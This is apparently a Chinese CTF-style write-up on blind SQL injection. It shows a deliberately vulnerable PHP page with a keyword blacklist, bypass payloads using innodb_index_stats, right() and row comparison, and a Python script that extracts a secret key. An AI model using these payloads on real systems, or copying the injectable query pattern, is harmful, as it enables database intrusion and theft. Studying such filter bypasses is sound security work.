再看SQL注入过滤列名如何注出数据

源码

<?php

error\_reporting(0);

if (!isset($\_POST['uname'])) {

    show\_source(\_\_FILE\_\_);

    die;

}

function AttackFilter($StrKey,$StrValue,$ArrReq){

      

    if (is\_array($StrValue)){

        $StrValue=implode($StrValue);

    }

    if (preg\_match("/".$ArrReq."/is",$StrValue)==1){   

        print "error";

        exit();

    }

}

$filter = "key|union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|\#";

foreach($\_POST as $key=>$value){ 

    AttackFilter($key,$value,$filter);

}

$con = mysql\_connect("127.0.0.1","root","heheda123");

if (!$con){

    die('Could not connect:'.mysql\_error());

}

$db="test";

mysql\_select\_db($db, $con);

$sql="SELECT \* FROM secrets WHERE username = '{$\_POST['uname']}'";

$query = mysql\_query($sql); 

if (mysql\_num\_rows($query) > 0) { 

    echo "success";

}

else{

    print "fail";

}

mysql\_close($con);

/\*

CREATE TABLE IF NOT EXISTS `secrets` (

`id` tinyint(3) unsigned NOT NULL AUTO\_INCREMENT,

`username` varchar(20) NOT NULL,

`key` char(32) NOT NULL,

PRIMARY KEY (`id`),

UNIQUE KEY `username` (`username`)

) ENGINE=innodb DEFAULT CHARSET=utf8 AUTO\_INCREMENT=2 ;







INSERT INTO `xxxxx` (`id`, `username`, `key`) VALUES

(1, 'xxxx', 'xxxxx');



tips:

flag is key

key is numbe

?>

\*/



?>

分析

分析代码

  1. 过滤union,只能盲注
  2. 过滤了mid,left,substr截取字符,还剩下right
  3. 过滤了= like 还能 用<>,in
  4. 返回'success'和'fail'优先考虑布尔型盲注
  5. 过滤了or字段information和ord字段不能用,已知列名,还差表名
  6. 列名key被过滤

绕过

获取表名可以使用innodb_index_stats,mysql5.5版本级以上,默认使用Innode作为存储引擎。

select group\_concat(table\_name) from mysql.innodb\_index\_stats where database\_name in(database())可以获取新建的表名

所以完整payload应为:

(right((select group\_concat(table\_name) from mysql.innodb\_index\_stats where database\_name in(database())),1)in('a')

使用right函数进行截取要注意取出来的顺序是反的

表名有了,但是使用select key from secrets是会被过滤的,这也是这个注入里面最不好绕的地方。

绕过列名key限制

**使用select\*from以及大于小于号进行绕过**

一张图就清楚了。

(select 1,2,'3')小于 (select 1,2,'4')

先使用select*from 从表中取出数据,这样就可以绕过列名key的限制,再与我们数据进行比较。

这里key为纯数字是为了降低难度,当然,涉及字母,大小顺序为字母大于数字,小写字母大于大写。

所以这里为了使用这种方法注出key的值,需要先注出username的值。

payload为:

(right((select group\_concat(username) from secrets),1)in('a')

得到username值为deen之后,再使用 上述方法,完整payload:

((select\*from secrets)<(select 1,'deen',{}))

exp

exp如下:

import requests

url = "http://127.0.0.1/flag2.php"

flag = ""



for i in range(1,32):

    for j in range(0,9):       

        payload = "'||((select\*from/\*\*/secrets)<(select/\*\*/1,'deen','{}'))||'".format(flag+str(j))

        data = {

            "uname":payload

        }

        response = requests.post(url=url,data=data)

        if 'success' in response.text:

            flag = flag + str(j-1) 

            print(flag)

            break

        else:

            pass

写在最后

其实是password字段被or过滤给误伤了.....

很简单的点,确实挺菜的,可有些东西本来就很简单,能不能想到就是另外一回事了

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

编辑于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Java帮帮-微信公众号-技术文章全总结

【数据库】MySQL进阶六、模糊查询用法

【数据库】MySQL进阶六、 模糊查询用法 javahelp mysql中模糊查询的四种用法介绍 这篇文章主要介绍了mysql中模糊查询的四种用法,需要的朋友可...

495130
来自专栏数说戏聊

04-06章 过滤数据第4章 过滤数据第5章 高级数据过滤第6章 用通配符进行过滤

分析 这条语句从 products 表中检索两个列,但不返回所有行,只返回 prod_price 值为 3.49 的行,输出:

7010
来自专栏深度学习之tensorflow实战篇

sql之left join、right join、inner join的区别

left join(左联接) 返回包括左表中的所有记录和右表中联结字段相等的记录 right join(右联接) 返回包括右表中的所有记录和左表中联结字段相等...

36880
来自专栏芋道源码1024

Sharding-JDBC 源码分析 —— SQL 解析(二)之SQL解析

1. 概述 2. SQLParsingEngine 3. SQLParser SQL解析器 3.2.1 #parseExpression() 和 SQLExp...

48550
来自专栏CaiRui

SQLAlchemy外键的使用

orm可以将数据库存储的数据封装成对象,同时,如果封装的好的话,所有的数据库操作都可以封装到对象中。这样的代码在组织结构上会非常的清晰,并且相对与使用sql语句...

28250
来自专栏c#开发者

Oracle 最常用功能函数经典汇总

Oracle 最常用功能函数经典汇总 SQL中的单记录函数 1.ASCII 返回与指定的字符对应的十进制数; SQL> select ascii(...

44270
来自专栏DT乱“码”

Oracle存储过程基本语法介绍

Oracle存储过程基本语法 存储过程    1 CREATE OR REPLACE PROCEDURE 存储过程名    2 IS    3 BEGIN...

37450
来自专栏Python

索引长度过长 ERROR 1071 (42000): Specified key was too long; max key length is 767 bytes

1.发现问题   今天在修改innodb表的某个列的长度时,报如下错误: [html] view plain copy print? alter tab...

1.1K60
来自专栏PHP在线

Mysql索引和优化

1、选择索引的数据类型 MySQL支持很多数据类型,选择合适的数据类型存储数据对性能有很大的影响。通常来说,可以遵循以下一些指导原则: (1)越小的数据类型通常...

32060
来自专栏Hongten

java开发_mysql中获取数据库表描述_源码下载

我们需要获取表:test_table表的描述信息,然后把描述信息插入到表:data_element_config中记录结果

35620

扫码关注云+社区

领取腾讯云代金券